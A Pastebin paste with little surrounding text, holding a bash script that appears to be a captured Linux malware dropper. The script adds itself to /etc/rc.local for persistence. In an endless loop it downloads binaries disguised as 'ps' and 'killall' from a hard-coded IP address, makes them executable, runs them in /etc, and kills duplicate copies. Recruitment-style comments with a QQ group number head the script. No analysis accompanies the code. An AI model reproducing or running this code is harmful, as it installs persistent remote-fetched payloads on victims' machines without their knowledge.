SHARE
TWEET

Untitled

benkow_ Oct 24th, 2016 (edited) 315 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. name -a
  2.  #!/bin/bash
  3.  #Welcome like-minded friends to come to exchange.
  4.  #We are a group of people who have a dream.
  5.  #                qun:10776622
  6.  #                2016-06-14
  7.  
  8.  
  9.  if [ "sh /etc/ps &" = "$(cat /etc/rc.local | grep /etc/ps | grep -v grep)" ]; then
  10.      echo ""
  11.  else
  12.      echo "sh /etc/ps &" >> /etc/rc.local
  13.  fi
  14.  
  15.  
  16.  while [ 1 ]; do
  17.      Centos_sshd_killn=$(ps aux | grep "/etc/ps" | grep -v grep | wc -l)
  18.      if [[ $Centos_sshd_killn -eq 0 ]]; then
  19.          if [ ! -f "/etc/ps" ]; then
  20.              if [ -f "/usr/bin/wget" ]; then
  21.                  cp /usr/bin/wget .
  22.                  chmod +x wget
  23.                  #./wget -P . http://60.168.97.124:8864/ps
  24.                  ./wget -P /etc/  http://60.168.97.124:8864/ps &> /dev/null
  25.                  chmod 755 /etc/ps
  26.                  rm wget -rf
  27.              else
  28.                  echo "No wget"
  29.              fi
  30.          fi
  31.          /etc/ps &
  32.          #./ps &
  33.      elif [[ $Centos_sshd_killn -gt 1 ]]; then
  34.          for killed in $(ps aux | grep "ps" | grep -v grep | awk '{print $2}'); do
  35.              Centos_sshd_killn=$(($Centos_sshd_killn-1))
  36.              if [[ $Centos_sshd_killn -eq 1 ]]; then
  37.                  continue
  38.              else
  39.                  kill -9 $killed
  40.              fi
  41.          done
  42.      else
  43.          echo ""
  44.      fi
  45.  
  46.  
  47.      Centos_ssh_killn=$(ps aux | grep "/etc/killall" | grep -v grep | wc -l)
  48.      if [[ $Centos_ssh_killn -eq 0 ]]; then
  49.          if [ ! -f "/etc/killall" ]; then
  50.              if [ -f "/usr/bin/wget" ]; then
  51.                  cp /usr/bin/wget .
  52.                  chmod +x wget
  53.                  #./wget -P .  http://60.168.97.124:8864/killall
  54.                  ./wget -P /etc/  http://60.168.97.124:8864/killall &> /dev/null
  55.                  chmod 755 /etc/killall
  56.                  rm wget -rf
  57.              else
  58.                  echo "No wget"
  59.              fi
  60.          fi
  61.          /etc/killall &
  62.          #./killall &
  63.      elif [[ $Centos_ssh_killn -gt 1 ]]; then
  64.          for killed in $(ps aux | grep "killall" | grep -v grep | awk '{print $2}'); do
  65.              Centos_ssh_killn=$(($Centos_ssh_killn-1))
  66.              if [[ $Centos_ssh_killn -eq 1 ]]; then
  67.                  continue
  68.              else
  69.                  kill -9 $killed
  70.              fi
  71.          done
  72.      else
  73.          echo ""
  74.      fi
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top